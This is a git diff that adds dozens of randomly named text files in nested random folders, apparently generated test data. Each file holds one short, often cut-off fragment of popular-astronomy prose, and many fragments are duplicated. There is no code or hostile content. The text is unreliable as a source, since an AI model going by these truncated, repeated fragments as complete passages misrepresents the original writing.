+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_clyzwmzvnkk.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_egklzowvs.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_egklzowvs.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_egklzowvs.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_gifokoqnknducfyjojkj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_gifokoqnknducfyjojkj.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_gifokoqnknducfyjojkj.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_msqogegb.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_msqogegb.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_msqogegb.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_nxkwapmwupwwoud.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_nxkwapmwupwwoud.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_nxkwapmwupwwoud.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_ooqvydzkolj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_ooqvydzkolj.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_ooqvydzkolj.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_prqcakmrxmxgstaa.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_prqcakmrxmxgstaa.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_prqcakmrxmxgstaa.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qiobbukopzlbmnjp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qiobbukopzlbmnjp.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qiobbukopzlbmnjp.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_quwfnlwowcydjrx.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_quwfnlwowcydjrx.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_quwfnlwowcydjrx.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qwharizoibknbvlpwayrzt.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qwharizoibknbvlpwayrzt.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qwharizoibknbvlpwayrzt.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qxtqulgh.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qxtqulgh.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_qxtqulgh.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rffaddotijcrj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rffaddotijcrj.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rffaddotijcrj.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rfpwejnnegyvgqo.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rfpwejnnegyvgqo.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_rfpwejnnegyvgqo.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_twipqpyuqxkqndzxljm.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_twipqpyuqxkqndzxljm.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_twipqpyuqxkqndzxljm.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_whzuryipjfdaitacdsh.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_whzuryipjfdaitacdsh.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_whzuryipjfdaitacdsh.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_xkyvnjjeyjphzqspbekysuiw.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_xkyvnjjeyjphzqspbekysuiw.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_xkyvnjjeyjphzqspbekysuiw.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zdflpbbtmadtwuvqa.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zdflpbbtmadtwuvqa.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zdflpbbtmadtwuvqa.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zupqdpmriyna.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zupqdpmriyna.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_zupqdpmriyna.txt
@@ -0,0 +1 @@
+When Voyager reaches Uranus and the orbits of Neptune and Pluto, if the instruments are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ilwbcyhtslaactoxolhxwe.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ilwbcyhtslaactoxolhxwe.txt
new file mode 100644
index 0000000..6c2c877
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ilwbcyhtslaactoxolhxwe.txt
@@ -0,0 +1 @@
+These ideas were set forth in an extraordinary book bearing the triumphant title The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/knyjotxlhgoapyjuvaowe.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/knyjotxlhgoapyjuvaowe.txt
new file mode 100644
index 0000000..86a7124
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/knyjotxlhgoapyjuvaowe.txt
@@ -0,0 +1 @@
+Hubble and Humason hit it off splendidly, a perhaps unlikely pair who worked together at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/kopftnsdvm.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/kopftnsdvm.txt
new file mode 100644
index 0000000..352805d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/kopftnsdvm.txt
@@ -0,0 +1 @@
+radio link with its carrier ‘bus’ and failed.But why did Mars 3 enter in the midst of a great dust storm? The Mars 3 mission
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ntoacbbbdyj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ntoacbbbdyj.txt
new file mode 100644
index 0000000..f61f62f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/ntoacbbbdyj.txt
@@ -0,0 +1 @@
+Berlin, Tokyo and Peking. If there are intelligent beings on Earth, they have not much
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/qafgyxqbatzaktqhfujlfj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/qafgyxqbatzaktqhfujlfj.txt
new file mode 100644
index 0000000..6701e59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/qafgyxqbatzaktqhfujlfj.txt
@@ -0,0 +1 @@
+‘What are these to me? The dried fig
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/seunvpljpu.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/seunvpljpu.txt
new file mode 100644
index 0000000..020b948
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/seunvpljpu.txt
@@ -0,0 +1 @@
+cliff overhang, protected from the weather, a picture of the new star. Its position relative to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xhfbjlladiyazcewky.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xhfbjlladiyazcewky.txt
new file mode 100644
index 0000000..6db7eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xhfbjlladiyazcewky.txt
@@ -0,0 +1 @@
+significant by the courage of our questions and by the depth of our answers.We embarked on our cosmic voyage with a question first framed in the childhood of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xpauldhfrnknzltyxdzj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xpauldhfrnknzltyxdzj.txt
new file mode 100644
index 0000000..bc4e874
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/xpauldhfrnknzltyxdzj.txt
@@ -0,0 +1 @@
+findings were not explained or popularized. The research benefited them little. Discoveries
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/yyveqrsepnmfuwngbwczohvy.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/yyveqrsepnmfuwngbwczohvy.txt
new file mode 100644
index 0000000..021a337
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/yyveqrsepnmfuwngbwczohvy.txt
@@ -0,0 +1 @@
+wait to witness the war of magnitude M.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_bknowhsxtzvmqrvmipeedpr.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_bknowhsxtzvmqrvmipeedpr.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_bknowhsxtzvmqrvmipeedpr.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_cgzljbgolmfeicsta.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_cgzljbgolmfeicsta.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_cgzljbgolmfeicsta.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_dfojfnclpubwnpdfjlgaqmp.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dfojfnclpubwnpdfjlgaqmp.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dfojfnclpubwnpdfjlgaqmp.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_dlgyaclogzsjiclcwuup.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dlgyaclogzsjiclcwuup.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dlgyaclogzsjiclcwuup.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_dqsbozellmnnayigo.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dqsbozellmnnayigo.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_dqsbozellmnnayigo.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_fypwxqyhjhtiacksnnvuhtt.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_fypwxqyhjhtiacksnnvuhtt.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_fypwxqyhjhtiacksnnvuhtt.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_glxfhdugjkmspw.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_glxfhdugjkmspw.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_glxfhdugjkmspw.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_guedaxnkmvyyfpdhfkj.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_guedaxnkmvyyfpdhfkj.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_guedaxnkmvyyfpdhfkj.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_hmdzqahpx.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_hmdzqahpx.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_hmdzqahpx.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_izoqrhlgmnbyhrjjygwfonu.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_izoqrhlgmnbyhrjjygwfonu.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_izoqrhlgmnbyhrjjygwfonu.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_jhrfpriibely.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_jhrfpriibely.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_jhrfpriibely.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_jtbinblrk.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_jtbinblrk.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_jtbinblrk.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_ldsxflzkxxlgicdt.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_ldsxflzkxxlgicdt.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_ldsxflzkxxlgicdt.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_ohcifsinwvqeqvtclnegjqir.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_ohcifsinwvqeqvtclnegjqir.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_ohcifsinwvqeqvtclnegjqir.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_otdrpznmxfcgtlswv.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_otdrpznmxfcgtlswv.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_otdrpznmxfcgtlswv.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_pbwejujcmvm.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_pbwejujcmvm.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_pbwejujcmvm.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_qayxycsk.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_qayxycsk.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_qayxycsk.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_qvgidxfgcr.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_qvgidxfgcr.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_qvgidxfgcr.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_rdpjezvropwn.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_rdpjezvropwn.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_rdpjezvropwn.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_rixiecmiwkmgzjswhtsxwz.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_rixiecmiwkmgzjswhtsxwz.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_rixiecmiwkmgzjswhtsxwz.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_srycdtoiqe.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_srycdtoiqe.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_srycdtoiqe.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_szammexzqpbcyzsziu.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_szammexzqpbcyzsziu.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_szammexzqpbcyzsziu.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_vpiqxprnoqwqzc.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_vpiqxprnoqwqzc.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_vpiqxprnoqwqzc.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/file_wclzaxxtrbvbb.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/file_wclzaxxtrbvbb.txt
new file mode 100644
index 0000000..5c84bbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/file_wclzaxxtrbvbb.txt
@@ -0,0 +1 @@
+samples beforehand. The point of the expedition is to bring them back alive. But what then?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_aqhpbngyp.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_aqhpbngyp.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_aqhpbngyp.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_bzzwkxkcsamssyo.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_bzzwkxkcsamssyo.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_bzzwkxkcsamssyo.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cidbgqfweufdwhyob.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cidbgqfweufdwhyob.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cidbgqfweufdwhyob.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
